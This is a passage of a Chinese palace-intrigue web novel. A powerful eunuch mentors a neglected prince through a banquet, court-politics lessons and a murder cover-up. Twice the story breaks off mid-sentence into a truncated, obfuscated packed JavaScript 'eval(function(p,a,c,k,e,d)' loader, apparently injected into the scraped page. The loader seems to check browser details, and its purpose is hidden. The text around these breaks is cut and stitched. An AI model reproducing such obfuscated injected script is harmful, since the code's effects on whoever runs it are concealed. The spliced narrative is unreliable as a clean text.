步青云站在门口,依旧是一身绯红蟒袍,面色苍白,眼神平静。见到魏祚,她微微颌首:“殿下请进。” 值房里温暖如春,炭火在铜盆里噼啪作响。案几上堆满奏折,朱笔搁在砚台边,笔尖的朱砂还未干透。 “殿下坐。”步青云亲自倒了杯热茶。 魏祚坐下,双手捧着茶杯,指尖微微发颤。他鼓起勇气抬眼,对上步青云的目光。 “殿下找我,有事?”步青云问。 魏祚深吸一口气,从怀中取出那本书,翻开有批注的那一页,推到对方面前。 “这些批注……是公公写的吗?” 步青云看了一眼,点头:“是。” “为什么?”魏祚问,“为什么要给我看这些?为什么要……来找我?” 他问的直接,问的莽撞,却也问得真诚。 步青云沉默地看着他,许久,才缓缓开口:“殿下可知道,下棋的人,最需要什么?” 魏祚摇摇头。 “不是棋子,而是变数。”步青云说,“一颗无法预测的棋子,往往能改变整盘棋的走向。” “我是那颗棋子?” “或许是。”步青云端起茶盏,轻啜一口,“也或许不是。这要看殿下的选择。” “什么选择?” 步青云放下茶盏,目光如炬:“选择继续做一颗任人摆布的棋子,还是……成为执棋的人。” 魏祚心跳骤停。 执棋的人……他从未想过。十六年来,他想的只是如何活下去,如何不被人注意,如何在这个深宫中苟延残喘? 成为执棋的人?凭什么?凭他宫女之子的身份?凭他一无所有的处境? “我……做不到。”他听到自己说。 “做不到,还是不敢?”步青云步步紧逼,“殿下,你娘是怎么死的,你不想知道真相吗?你这些年受的冷眼欺辱,你不想讨回来吗?甘心一辈子困在西偏殿,等到新帝登基,被一杯毒酒了结余生吗?” 每一个问题,都像一把刀,扎进魏祚心里。 他握紧拳头,指甲陷进掌心。 “为什么是我?”他抬头,眼中泛起血丝,“我无权无势,无才无德,公公为何要选我?” 步青云看着他,忽然笑了。那笑容很淡,却带着说不出的复杂。 “因为,”她说,“一无所有的人,才敢赌上一切。” 值房里,炭火正旺。一个权倾朝野的太监,一个不受宠的皇子,相对而坐。 4. 第 4 章 隆庆二十七年腊月初八。 皇宫上下弥漫着甜糯的粥香,御膳房从三更天就开始熬制腊八粥,百种食材在巨大的铜锅里翻腾热气蒸腾如云雾。 西偏殿里,魏祚却毫无胃口。 孙嬷嬷正手忙脚乱地为他整理衣袍。 一件半旧的靛蓝皇子常服,袖口已有些磨损,领口的花纹也暗淡了。这是魏祚唯一一件穿能穿得出去的衣裳,还是三年前内务府按例发放的,这些年他个子长了,衣袍便显得短小局促。 “这……这可怎么好?”嬷嬷急的眼圈发红,“腊八宴上那么多贵人,殿下穿成这样,定要被人笑话。” “无妨。”魏祚看着镜中的自己,面色平静,“就这样吧。” “可……” “嬷嬷,”他打断她,“一见衣裳改变不了什么,他们若要看不起我,穿龙袍也是看不起。” 话虽如此,他还是仔细抚平衣襟上的褶皱,又用湿帕子擦了擦脸。镜中的少年面容清秀苍白,眼神却比一个月前坚定许多。 这一个月,他去了司礼监三次。 第一次是送还那本书,顺便请教了几个读书时遇到的疑惑。步青云耐心解答,末了又给了他一本书,同样有朱笔批注。 第二次是腊月初一,他去时步青云正在批红,他便在一旁静静等待。那日司里监来了几个官员述职,见到他在场,神色各异。步青云却似浑然不觉,依旧从容处理公务。 第三次是昨日,腊月初七。步青云给了他一个小册子,上面写着腊八宴的注意事项。 谁坐什么位置,该行什么礼,该说什么话,不该说什么话,一清二楚。 “殿下只需记住,”步青云当时说,“少说,多看,多听。若有人问起你,就说病体初愈,一切安好。若有人提起往事,就说记不清了。” “如果他们不信呢?” “那就让他们不信。”步青云抬眼看他,“殿下,在这宫里,真话假话都不重要,重要的是你站在谁那边。” 魏祚似懂非懂,但还是将那册子背的滚瓜烂熟。 “殿下,该动身了。”孙嬷嬷的声音将他拉回现实。 时辰到了。 魏祚深吸一口气,推开门。寒风扑面而来,他打了个寒颤,却挺直了背脊。 乾清宫的暖阁里已坐满了人。 皇帝隆庆帝尚未驾临,太后也还未到,但后妃、皇子公主、宗亲们已基本到齐。暖阁内炭火烧的旺,熏香浓郁,女眷们的环佩叮当,男人们的谈笑声此起彼伏,一派和乐融融的景象。 魏祚踏进暖阁时,热闹的声音骤然一静。 几十道目光齐刷刷投来,有好奇,有探究,有轻蔑,也有漠然。他感到那些目光像针一样扎在身上,刺的他几乎要转身逃走。 但他没有逃。 他垂下眼,按照步青云教的那般,走到皇子席位的最末,向几位兄长行礼。 “十八弟来了。”说话的是五皇子魏祥,生母是个嫔,在皇子中地位也不高,但对魏祚来说已是需要仰望的存在。 “五哥。”魏祚低声道。 “听说你前阵子病了,可大好了?”魏祥语气温和,眼中却没什么温度。 “谢五哥关心,已大好了。” “那就好。”魏祥不再多言,转回头与身旁的六皇子说话。 魏祚默默坐下,位置在最角落,紧挨着柱子,几乎被阴影笼罩。这样也好,他想,不起眼才安全。 他抬眼打量四周。 正上方是龙椅,空着。左侧是后妃席位,为首的是周贵妃,今日一身绯红宫装,满头珠翠,正与旁边的贤妃说笑。右侧是皇子公主席,太子魏衸坐在首位,一声杏黄常服,正与三公主低声交谈。再往下是几位亲王、郡王。 忽然,魏祚的目光定住了。 皇子席次席,坐着七皇子魏禄。周贵妃所出,此刻众星捧月。正与几个宗室子弟说笑,眉眼间尽是娇纵。 就是他。 魏祚攥紧了袖中的手。周贵妃害死了他娘,而魏禄是周贵妃的儿子,是既得利益者。这笔账,该不该算? “皇上驾到——太后驾到——” 太监尖细的嗓音响起,暖隔里瞬间安静。所有人都起身跪拜。 隆庆帝在太监搀扶下走进来,脸色比前些日子更差,蜡黄中透着清灰。太后李氏紧随其后,一身明黄朝服,雍容华贵。 “平身。”隆庆帝的声音嘶哑无力。 众人起身落座,魏祚抬起头,第一次在这么近的距离看到他的父皇。 衰老,疲惫,眼中布满血丝,却仍有一种属于帝王的威严。隆庆帝的目光扫过众人,在魏祚身上停顿了一瞬,眼中闪过什么,快的让人抓不住。 是疑惑?是陌生?还是……根本就没认出他是谁。 魏祚垂下眼,心中涌起一股难言的酸涩。 “开宴吧。”隆庆帝摆了摆手。 宫人们鱼贯而入,奉上腊八粥及各色点心。暖阁内又恢复了热闹,但比之前拘谨许多,说话声都压低了。 魏祚默默吃着面前的粥,食不知味。他能感觉到,有几道目光始终落在他身上。 一道来自太后。那位今日的主角之一,目光审视,带着探究。 一道来自周贵妃。带着警告,也带着一丝玩味。 还有一道……来自太子魏衸。那目光温和却深沉,像在打量一件值得琢磨的器物。 “十八弟。” 忽然,一个声音在耳边响起。 魏祚抬头,对上一张温和含笑的脸。 是太子魏衸,不知何时走到了他身边。 “太子殿下。”他慌忙要起身行礼,被魏衸按住了肩膀。 “不必多礼。”魏衸在他身旁的空位坐下,“许久不见,十八弟长高了不少。” “谢殿下关心。”魏祚垂眸。 “前些日子听说你病了,可请太医看过?”魏衸语气关切,“若是缺什么药材,只管跟我说。” “已无大碍,劳殿下挂心。” “那就好。”魏衸顿了顿,压低声音,“步公公……去找过你?” 魏祚心中一紧,面上却不敢显露:“是,奉太后之命来看望。” “哦?”魏衸挑眉,“只是看望?” “还……还送了些书。” “书?”魏衸笑了,“步公公倒是风雅。都送了些什么书?” 魏祚说了几本常见的经史子集,略过了那两本书。 魏衸听着,眼中闪过一丝什么,快得让人捉摸不透。他拍了拍魏祚的肩:“读书是好事,但也要注意身子。若有什么不懂的,可以来东宫找我。” “谢殿下。”魏祚低声道。 “对了,”魏衸起身,像是忽然想到什么,“听说你字写的好?改日写幅字送我如何?” “殿下过誉了,臣弟的字……” “就这么定了。”魏衸不给他推辞的机会,转身回了自己的席位。 魏祚望着他的背影,心头涌起一股寒意。太子的每一句话都温和亲切,可字里行间,都是试探。 他想起步青云的话:这宫里,没人会无缘无故对你好。 “十八弟与太子殿下倒是亲近。” 又一个声音响起,这次是七皇子魏禄。他不知何时凑了过来,手中端着酒杯,脸上带着特有的张扬笑意。 “七哥。”魏祚起身行礼。 “坐坐坐,不必多礼。”魏禄在他对面坐下,上下打量他,“听说你病了,我看你这气色,确实不太好。要不要我让母妃给你送些补药?母妃宫里多的是上好的药材。” 这话说的大声,周围几个人都看了过来。 魏祚感到周贵妃的目光也投了过来,带着警告。 “谢七哥好意,不必麻烦了。”他低声道。 “麻烦什么,都是一家人。”魏禄笑着,眼中却没有笑意,“对了,我听说你娘许选侍当年字写得也好?可惜啊,红颜薄命。” 暖阁内的空气骤然一冷。 周围的谈笑声低了,许多目光若有若无的瞟向这边。魏祚感到血液冲上头顶,又瞬间冷却。他死死攥着拳头,指甲几乎嵌进掌心。 不能动怒。不能失态。步青云说过,这种场合,谁先动怒谁就输了。 他抬起眼,看着魏禄,努力让声音平稳:“家母微末之人,不敢劳七哥记挂。” 魏禄显然没料到他这般反应,愣了一下,随即笑了:“十八弟倒是孝顺。”他站起身,拍了拍衣袍,“行了,你好好养病吧,缺什么跟我说。” 他转身离开,走到周贵妃身旁时,母子俩交换了一个眼神。 魏祚缓缓松开拳头,掌心已被掐出血痕。他端起面前的茶盏,手却在微微发抖。 “殿下。” 一个熟悉的声音在身后响起。 魏祚浑身一颤,回头,看到步青云不知何时站在了他身后。她依旧一身绯红蟒袍,面色平静。 “步公公……”他低声道。 “殿下的茶凉了奴才给您换一盏。”步青云接过他手中的茶盏,递给身后的小太监,又亲自斟了杯热茶,“小心烫。” 她的动作自然流畅,仿佛只是寻常侍奉。 但在场所有人都看到了。 司礼监掌印太监,亲自给十八皇子斟茶。 这意味着什么? 暖阁内的气氛变得更加微妙。周贵妃眯起了眼,太后撵着佛珠的手顿了顿,太子魏衸则垂下眼,看不清神色。 “谢公公。”魏祚接过茶盏,指尖触到步青云的手指,冰凉。 “殿下客气。”步青云退后半步,声音不高不低,却能让周围几个人听见,“太后方才还问起殿下,说殿下身子弱,若不适可早先回去歇息。” 这是在给他解围,也是在告诉所有人。太后关注着这个皇子。 魏祚心中引起复杂的情绪。感激?不全是更。多的是警惕。 步青云在利用他,他也在利用步青云。这种互相利用的关系,脆弱的像冰,一碰就碎。 但他别无选择。 “代我谢太后关心。”他说。 步青云颔首,转身离去,仿佛真的只是来传句话。 可她这一来一去,却像是在平静的湖面投下石子,激起圈圈涟漪。 宴席继续。 他默默坐着,努力降低自己的存在感,却知道自己再也回不去了。从踏入这个暖阁的那一刻起,从步青云给他斟茶的那一刻起,他就被推到了台前。 腊八宴进行到一半时,出了件意外。 一个小太监上菜时脚下一滑,整盘热汤泼在了五皇子魏祥身上。虽未烫伤,但那身崭新的蟒袍却毁了。 “蠢货!”魏祥大怒,一脚踹在小太监心口。 小太监惨叫一声,滚倒在地,汤汁溅了一身。魏祥还不解气,又要再踹,却被太子拦住了。 “五弟,大过节的,何必动怒。”魏衸温声劝道,“我赔你件新袍子便是。” 魏祥这才作罢,但脸色依旧难看。那小太监被人拖了下去,经过魏祚身边时,他看到了那张惨白的脸,还有眼中的绝望。 在宫里,犯这样的错,不死也要脱层皮。 魏祚心头一紧,忽然想起步青云的话:在这宫里,人命最不值钱。 “皇上!皇上你怎么了?” 一声惊呼打断了宴席。 众人望去,只见龙椅上的隆庆帝面色青紫,捂着胸口剧烈咳嗽,几乎喘不上气。太后慌忙起身,周贵妃也扑了过去,暖阁内顿时乱做一团。 “传太医!快传太医!” 太监宫女们乱跑乱撞,后妃们惊慌失措,皇子们面面相觑。只有太子魏衸还算镇定,一边指挥人扶隆庆帝去偏殿,一边安抚众人。 混乱中,魏祚感到一道目光落在他身上。 他抬眼,看到步青云站在人外,静静看着他,眼中没有任何情绪,仿佛这一切都与他无关。 然后,步青云的嘴唇动了动,无声的说了一个字。 “等。” 等什么? 魏祚不明白,但他点了点头。 混乱持续了半个时辰,太医赶来诊治,说是急火攻心,需静养。隆庆帝被抬回寝宫,太后跟了过去,宴席不欢而散。 众人陆续离席,魏祚也起身,准备离开。 “十八弟留步。” 又是太子。 “殿下有何吩咐?”魏祚停步。 魏衸走到他面前,看着他,许久,忽然叹了口气:“今日之事,你都看到了。” 魏祚不解。 “父皇的身体……每况愈下。”魏衸压低声音,“这宫里,很快就要变天了。” 魏祚心头一跳,不敢接话。 “十八弟,”魏衸拍了拍他的肩,“你是个聪明人,该知道在哪边。东宫的大门,永远为你敞开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顺子想了想,谨慎道:“泼汤像是意外,但小太监死的太快,不寻常。皇上犯病……太医说是急火攻心,可皇上今日并未动怒。” “所以,都不是意外。”步青云走到炭火盆,伸手烤火,“有人想让这潭水,更浑一些。” “掌印的意思是……” “太子,贵妃,太后,甚至……”步青云顿了顿,“还有其他我们不知道的人。” 顺子倒吸一口凉气:“那十八皇子他。” “他现在是焦点。”步青云看着跳跃的火焰,“所有人都盯着他,想看看这颗棋子,会落在谁手里。” “那我们……” “我们?”步青云笑了,笑容里带着冷意,“我们当然是,把他握在自己手里。” 她走回案前,铺开纸笔,开始写信。 信是写给远在江南的一位故人。 准确说,是他兄长生前的至交,如今在江南经商,暗中为她提供资金与人脉。 “腊八宴变,棋局已开。棋子入局,执棋者众。速查三事:一、徐宫女入宫前事;二、十八皇子出生前后宫异动。三、陆炳与太后关系深浅。” 写完信,她用腊封好,交给顺子:“老规矩。” “是。”顺子接过信,迟疑了一下,“掌印,十八皇子那边……要不要再添把火?” “不必。”步青云摇头,“火已经够旺了。现在要做的,是让他自己选择,要不要往火里跳。” 顺着似懂非懂,退下了。 步青云独自坐在值房里,烛火将她的影子投在墙上,拉的很长。她想起宴席上,魏祚被魏禄衅挑时的表情。 那种强压怒火的平静,那种隐忍不发的狠劲。 像极了她当年,躲在书堆里,看着亲人一个个倒下的样子。 “魏祚,”她轻声自语,“你可千万别让我失望。” 五皇子魏祥在寝宫里大发雷霆,摔碎了所有能摔的东西。他认定今日之事是有人要害他,而最大的嫌疑是就是七皇子魏禄,或者说是周贵妃。 长春宫里,周贵妃独自坐在镜前卸妆。镜中的女人依旧美艳,眼角却已有了细纹。 “娘娘,”心腹宫女低声禀报,“那小太监……处理干净了。” “嗯。”周贵妃应了一声,拿起梳子慢慢梳头,“太子今日拉拢十八皇子了?” “是,宴后单独说了话。” “呵,动作倒是快。”周贵妃冷笑,“一个宫女生的贱种,也值得他这般费心?” “娘娘,要不要……” “不必。”贵妃放下梳子,“让他去拉拢。本宫倒要看看,这个十八皇子,到底有什么特别之处。” 慈宁宫里,太后李氏跪在佛前,手中捻着佛珠,口中念念有词。嬷嬷在一旁候着,不敢打扰。 许久,太后睁开眼:“皇帝怎么样了?” “太医说已无大碍,但需静养。”嬷嬷低声道,“太后,今日宴上,步青云给十八皇子斟茶……” “哀家看到了。”太后打断她,“这个步青云,心思越来越深了。” “那十八皇子他……” “且看看吧。”太后起身,走到窗前,“棋子也好,变数也罢,总得先上了棋盘,才知道是黑是白。” 东宫里,太子魏衸正在与幕僚密谈。 “今日之事,殿下怎么看?”幕僚问。 “有人在搅浑水。”魏衸把玩着手中的玉佩,“五弟被泼汤,父皇犯病,都太巧了。” “会是贵妃吗?” “不像。”魏衸摇头,“贵妃若有这手段,早就动手了,何必等到今天。” “那……” “查。”魏衸眼中闪过一丝厉色,“查今日所有进出御膳房、乾清宫的人。还有盯紧十八皇子。” “殿下真要拉拢他?” “不是拉拢,是试探。”魏衸笑了,“步青云选中的人,总该有些特别之处。本宫倒要看看,他配不配当这颗棋子。” 而西偏殿里,魏祚坐在窗前,看着漫天飞雪。 这宫里,每一步都是陷阱,每句话都是算计。 他想起娘亲的遗言:好好活着,别报仇。 可是娘,若连活着都如此艰难,我该如何是好? 雪越下越大,将整个皇宫笼罩在素白之下,掩盖了所有污秽与血腥。 但魏祚知道,雪终会融化。 他握紧了手中的书。 5. 第 5 章 腊月十五,大雪又至。 晨钟敲过三响,魏祚裹着半旧的斗篷踏出西偏殿。雪沫子打在脸上,像细针扎过。他紧了紧衣还衣襟,沿着宫墙的阴影出快步走着。 这是步青云教他的,少走明处,多行暗路。 司礼监在东华门内,距西偏殿有小半时辰的路程。一路上,魏祚遇到几波扫雪的太监,他们都停下手里的活计垂手行礼,眼神却在他的背影消失后迅速交换着。 “十八皇子又去司礼监了。” “步掌印这是真要栽培他?” “难说……一个宫女生的……” 低语被风雪吹散。魏祚只当没听见,脚步却越发沉稳。他知道自己在被人议论,但这议论,正是步青云想要的效果。 让所有人知道,十八皇子与掌印太监走的近。至于这近是好是坏,让他们猜去。 司里监的朱红大门虚掩着,门口的石狮顶着厚厚的雪帽。魏祚抬手敲门,三轻一重。 这是约定的暗号。 门开了条缝,顺子的脸探出来:“殿下请进,掌印在二堂等你。” 穿过前院时,魏祚注意到院中多了几个生面孔。都是年轻太监,穿着青色棉服,垂手立在廊下,见他进来,齐刷刷躬身行礼,动作整齐的像一个人。 “这些是……”他低声问顺子。 “掌印新挑的人,在学规矩。”顺子答的简单,脚下不停。 二堂比前院更安静。这里原是司礼监存放档案的地方,如今被步青云改成了书房。四壁书架高耸,堆满中卷宗典籍,正中一张紫檀木大案,步青云正坐在案后批阅奏折。 听到脚步声,她抬起头。 今日她未穿蟒袍,一身靛蓝常服,外罩玄色比甲,头发用一根白玉簪子绾起,素净得不像权倾朝野的掌印太监,倒像个寒窗苦读的书生。 “殿下坐。”步青云指了指案前的椅子,又对顺子道:“去泡壶热茶来,要蒙顶甘露。” 魏祚依言坐下,目光落在案上摊开的奏折上。那是江西巡抚的折子,奏报今冬雪灾,请求朝廷拨银赈灾。折子上朱批已写了一半:“着户部速议,不得延误。” 字迹凌厉,力透纸背。 “殿下可看得懂?”步青云问。 魏祚老实摇头:“只知是赈灾的事,具体如何,不懂。” “那便学。”步青云将奏折推到他面前,“这是江西巡抚的折子。江西今冬连降大雪,十三州县受灾,民房倒塌两千余间,冻死百姓三百余人。巡抚请拨银五十万两,粮食十万石。” 她顿了顿,从案头抽出一本册子:“这是户部上个月呈报的国库收支。殿下自己看,这五十万两,拨的还是不拨。” 魏祚接过册子,翻开。密密麻麻的数字让他眼晕,但他还是耐着性子一页页看下去。越看,眉头皱的越紧。 隆庆二十七年,国库岁入银八百万两,岁初九百五十万两,已经亏空一百五十万两。其中军费占四成,官员俸禄占两成,宫廷用度占一层,其余杂项占三层。而江西一省就要五十万两…… “国库空虚,拨不出这么多。”他得出结论。 “那灾民怎么办?”步青云问。 “这……”魏祚语塞。 步青云从案下又取出几本折子:“这是江西布政使的折子,说灾情可动用地方存粮。这是江西按察使的折子,说可向富户募捐。这是江西都指挥使的折子,说军中可拨出部分军粮。” 她将折子一字排开:“殿下觉得,该听谁的?” 魏祚一一翻看,越看越心惊。同样是江西的事,几个官员的说法天差地别。巡抚要钱,布政使说不用,按察史说募捐,指挥使说用军粮……到底谁说的是真话? “他们……是不是在互相推诿?”他试探着问。 步青云笑了:“殿下看出门道了。”她点了点那几本折子,“江西巡抚是徐阁老的门生,布政使是太后的远亲,按察使是太子举荐的,都指挥使是陆炳的旧部。这四个人,代表四股势力。” 魏祚恍然:“所以赈灾是假,争权是真?” “半真半假。”步青云靠回椅背,“灾情是真的,但怎么赈,谁主事,谁出钱,这里面就是文章了。若让巡抚主事,银子从户部出,徐阁老就是多了条财路。若让布政使主事,动用地方存粮,太后的人就掌控了江西粮仓。若让按察使募捐,太子就能借机拉拢江西士绅。若用军粮……陆炳的手就伸到了江西驻军。” 一番话说的魏祚冷汗涔涔。他从前读书,只知“民为贵,社稷次之,君为轻”,却不知这简单的赈灾背后,竟有如此复杂的权谋算计。 “那……到底该怎么定?”他问。 “怎么定?”步青云提笔,在那本江西巡抚的折子上去写朱批,“着江西巡抚、布政使、按察使、都指挥使司人会同办理,各司其职,不得推诿。所需银两,户部拨二十万,地方自筹二十万,余下十万由内帑出。” 写罢,她放下笔:“殿下明白了吗?” 魏祚仔细想了想,忽然明白了:“公公……这是让他们互相牵制?” “不错。”步青云颔首,“四个人,四条心,谁也别想独吞。户部、地方、内帑各出一部分,谁也别想置身事外。如此一来,事情办了,权力也平衡了。” 魏祚心中震撼。这简单的几句话,看似和稀泥,实则将各方势力都拉下水,互相监督,互相制衡。既办了实事,又维持了朝廷稳定。 “可是……”他迟疑道,“这样会不会效率太低?四个人互相扯皮,灾民等得起吗?” 步青云看着他,眼中闪过一丝赞许:“殿下能想到这层,很好。”她话锋一转,“但殿下要明白,在朝廷上,有时候‘办成事’不如‘不出事’四个人扯皮,最多办的慢些。但若让一方独大,就可能生出更大的祸端。” 她顿了顿,声音转冷:“比如,若让江西巡抚独揽赈灾大权,五十万两银子下去,有多少能到灾民手里?十万?五万?还是更少?到时候,灾民没救成,银子进了个人腰包,朝廷还要背骂名。与其如此,不如让他们互相盯着,谁也不敢伸手太狠。” 魏祚沉默了。他想起腊八宴上那个被拖走的小太监,想起五皇子暴露的脸,想起父皇咳血的样子……这宫里宫外,哪有什么分黑白分明,不过是权衡利弊罢了。 “殿下,”步青云的声音将他拉回现实,“今日这第一课,我要你记住三句话。” 魏祚正襟危坐:“公公请讲。” “第一,朝堂之上,没有对错,只有利弊。” “第二,权力之道,在于制衡。让底下的人斗,你才能坐得稳。” “第三,”步青云看着他,一字一句,“心要狠,手要稳。该杀时绝不手软,该忍时绝不冒头。” 三句话,像三把重锤,敲在魏祚心上。 他忽然想起那本书里的一句话:“夫权者,天下之利器也。得之者生,失之者死。”从前他不懂,现在,好像懂了一些。 “记下了。”他说。 步青云点点头,从案头拿起另一本奏折:“今日的功课。这是河南道监察御史弹劾彰德之府的折子,殿下看看,该如何批。” 魏祚接过,细细读起来。折子上说,彰德知府贪赃枉法,强占民田,草菅人命,证据确凿,请朝廷严惩。 看起来很简单,该杀。但他想起步青云的话,没有对错,只有利弊。 “这位彰德知府……是什么背景?”他问。 步青云眼中闪过一丝笑意:“他是周贵妃的表兄。” 魏祚手一抖,奏折差点掉在地上。周贵妃的表兄……那就是七皇子魏禄的舅父。难怪证据确凿却要递到司里监,这是烫手山芋。 “那这……” “殿下觉得该怎么批?”步青云不答反问。 魏祚陷入沉思,若按律法,该杀。但杀了,就得罪了周贵妃,得罪了七皇子。若不杀,朝廷法度何在?御史那边如何交代? 他想了许久,忽然灵光一现:“公公,这折子……为何是河南道监察御史所上?彰德府属直隶,不该是直隶监察御史管吗?” 步青云挑眉:“殿下看出了问题?” “是。河南道监察御史越界弹劾,要么是确有实据、义愤填膺,要么……”魏祚顿了顿,“是受人指使,故意为之。” “说下去。” “若是前者,此人正直敢言,可嘉。若是后者……”魏祚脑中飞速转动,“那指使他的人,是想借此是打击贵妃一党。会是谁?太子、还是太后?” 步青云笑了,这次是真心的笑:“殿下进步很快。”她点了点奏折,“这个河南道监察御史,是徐阁老的门生的门生。而徐阁老,最近与太子走得很近。” 魏祚恍然:“所以是太子想动贵妃的人?” “不错。”步青云道,“但太子聪明,不自己出面,让底下人上折子。成了,削弱贵妃势力。不成,也怪不到他头上。” “那我们现在……” “我们现在,”步青云提笔,在奏折上批了几个字,“着都察院核查,据实以闻。” “不表态?” “不表态。”步青云放下笔,“让都察院去查。都察院左督御史是太后的人,右都御史是徐阁老的人。让他们斗去,我们坐山观虎斗。” 魏祚心中佩服。这手太极打的漂亮,既不得罪任何一方,又把问题抛了出去。更重要的是,通过此事,能看清都察院内部的力量对比,看清太后与徐阁老的博弈。 “殿下,”步青云看着他,“你要记住,在局势不明朗时,最好的选择是不选择。让箭飞一会儿,看它落在哪里。” 魏祚重重点头。 接下来的一个时辰,步青云又给他讲了几个案例。有官员任免的,有军费拨付的,有科举取士的……每一个案例背后,都是盘根错节的利益关系,都是你死我活的权力斗争。 魏祚听得认真,时不时提出问题。他发现,步青云虽然手段狠辣,但对朝政的理解极其深刻,对人心、对权力的把握精准的可怕。 “公公,”他忍不住问,“这些都是您这些年自己琢磨出来的?” 步青云的手顿了顿许,久才道:“有些是,有些……是拿命换来的。” 魏祚心中一凛,不敢再问。 申时末,功课结束。顺子近来添茶,低声禀报:“掌印,陆指挥史来了,在前院等着。” 陆炳?魏祚脸色微变。 步青云却神色如常:“请他到前堂稍坐,我马上就来。”她转向魏祚,“殿下今日先回吧。记住,回去后将今日所学默写一遍,明日我要查。” “是。”魏祚起身,犹豫了一下,“公公,陆指挥使他……” “殿下不必担心。”步青云淡淡道,“他是来找我谈事的,与你无关。” 话虽如此,魏祚走出二堂时,还是忍不住往前院看了一眼。透过月洞门,他看到陆炳坐在前堂的太师椅上,一身飞鱼服,腰佩绣春刀,正慢条斯理地品茶。 似是感到目光,陆炳忽然抬头,正好与魏祚视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“腊八宴上,五皇子被泼汤的事,步掌印可还记得?” “自然记得。” “本官查了。”陆炳盯着他,“那个小太监,死前见过一个人。” 步青云心头一跳,面上不动声色:“谁?” “司礼监的人。”陆炳一字一句,“一个叫顺子的小太监。” 堂内死寂。 炭火爆出个火星,落在砖地上,很快熄灭。步青云端起茶盏,轻轻吹了吹水面浮叶,动作从容不迫。 “指挥使这是什么意思?怀疑是奴才指使的。” “本官没说。”陆炳笑了,“只是觉得奇怪,司里监的人为何要见一个长春宫的小太监,还偏偏在腊八宴前宴?” 步青云抿嘞口茶,放下茶盏:“指挥使既然查了,就该查清楚。顺子那日去见小福子。是奉了奴才的命,去问腊八宴的菜单。皇上近来食欲不振,奴才想看看有没有合口的菜。这事,御膳房可以作证。” 他说的滴水不漏,陆炳一时也找不出破绽。 “原来如此。”他皮笑肉不笑,“那倒是本官多心了” “指挥使也是职责所在。”步青云道,“不过,奴才倒是好奇,那小太监的死……指挥使可查出什么了?” 陆炳脸色一沉:“伤重不治,有什么好查的?” “是吗?”步青云挑眉,“可奴才听说,小太监身上除了板子伤,还有别的伤。颈后有淤痕,像是被勒过。” 陆炳瞳孔一缩:“步掌印从哪听说的?” “这宫里,没有不透风的墙。”步青云淡淡道,“指挥使,咱们都是为朝廷办事。有些事,点到为止就好。查得太深,对谁都不好,您说呢?” 这话是警告,也是威胁。陆炳盯着他,眼中杀机一闪而过,但最终,他还是笑了。 “步掌印说的对。”他起身,“是本官冒昧了。告辞。” “慢走不送。” 陆炳走到门口,忽又停住,回头:“步青云,有句话本官得提醒你。这宫里水深,别站错了队。否则,怎么死的都不知道。” “多谢指挥使提醒。”步青云起身,微微颔首,“奴才也送指挥使一句话,多行不义必自毙。指挥使这些年做的事,自己心里清楚。” 两人目光再次碰撞,火星四溅。 最终,陆炳冷哼一声,拂袖而去。 顺子从屏风后转出来,脸色发白:“掌印,他……” “他起疑了。”步青云走到窗前,看着陆炳远去的背影,“但没关系,他查不出什么。” “可是小福子的死……” “小福子必须死。”步青云转身,眼神冰冷,“他知道得太多了。” 顺子打了个寒颤,不敢再问。 窗外,风雪漫天。步青云望着西偏殿的方向,许久,喃喃自语: “魏祚,这第一课,你学的如何了?” 有些事,她没交。比如为了达到目的,有时候需要牺牲一些人。 比如那个小太监。 那没关系,这些,他迟早会懂。 在这深宫里,慈悲是奢侈,善良是毒药。要活下去,要往上爬,就必须心狠。 这是她花了八年,用鲜血和生命换来的教训。 现在,她要一点一点,教给他。 6. 第 6 章 “皇上那边怎么样了?”她换了个话题。 顺子脸色凝重:“不太好。陈太医私下说皇上咳血的次数越来越多,有时候痰里还带着血块。用的药倒是名贵,人参、鹿茸、灵芝……什么补用什么,可身子却一天比一天虚。” “虚不受补。”步青云冷笑,“陈太医是太后的人,他开的药,自然是怎么补怎么来。” “那咱们……” “咱们什么都做不了。”步青云打断他,“现在动手,等于告诉所有人,我们知道皇上被下药。打草惊蛇,得不偿失。” 顺子急了:“可再这么下去,皇上怕是……” “怕是什么?”步青云抬眼,眼神锐利,“顺子,你跟了我八年,还没看明白吗?在这宫里,有时候死得快反而是种解脱。” 顺子浑身一颤,不敢再言。 步青云收回目光,看向窗外。 隆庆帝,她的杀父仇人之一。 虽然当年下旨的是先帝,但执行的是隆庆帝。楚家一百三十七口,男丁斩首,女卷充作官妓,家产抄没……每一笔血债她都记在心里。 所以隆庆帝是死是活,她并不在意。她在意的,是他什么时候死,怎么死,以及……死后谁能坐上那个位置。 “太子那边有什么动静?”她问。 “太子这几日闭门读书,不见外客。”顺子顿了顿,“但东宫詹事李延年去了徐阁老府上三次,每次都是深夜。” 深夜密谈,所图非小。 “贵妃呢?” “贵妃……”顺子面色古怪,“贵妃这几日都在御花园赏梅,还邀了各宫嫔妃一起。听说……还特意给西偏殿送了帖子。” 步青云挑眉:“给十八皇子?” “不,是给孙嬷嬷。”顺子道,“说是请嬷嬷去赏梅,实则上是打听十八皇子的事。问殿下平日读什么书,写什么字,喜欢吃什么,有没有什么特别的习惯……” 步青云笑了,“周贵妃这是急了。太子拉拢十八皇子,太后也在观望,她自然坐不住。” “那咱们……” “不用管。”步青云道,“让她们打听去。十八皇子越神秘,他们越好奇,越好奇,就越会往深里挖。” 顺子不解:“可挖深了,万一挖出什么……” “挖出什么?”步青云反问,“一个宫女生的皇子,无依无靠,无权无势,能挖出什么?她们挖的越深,就越会发现,这就是颗干净的棋子,谁都能用,谁都想用。” 顺子恍然:“掌印是想……让他们争?” “鹬蚌相争,渔翁得利。”步青云提笔,在纸上写下字,“现在,我们要做的,就是让这把火烧得更旺一些。” “怎么烧?” 步青云没有回答,而是从案头抽出一份奏折:“这是河南都指挥使的折子,奏请增设边防军饷。你找人抄一份,送到陆炳手里。” 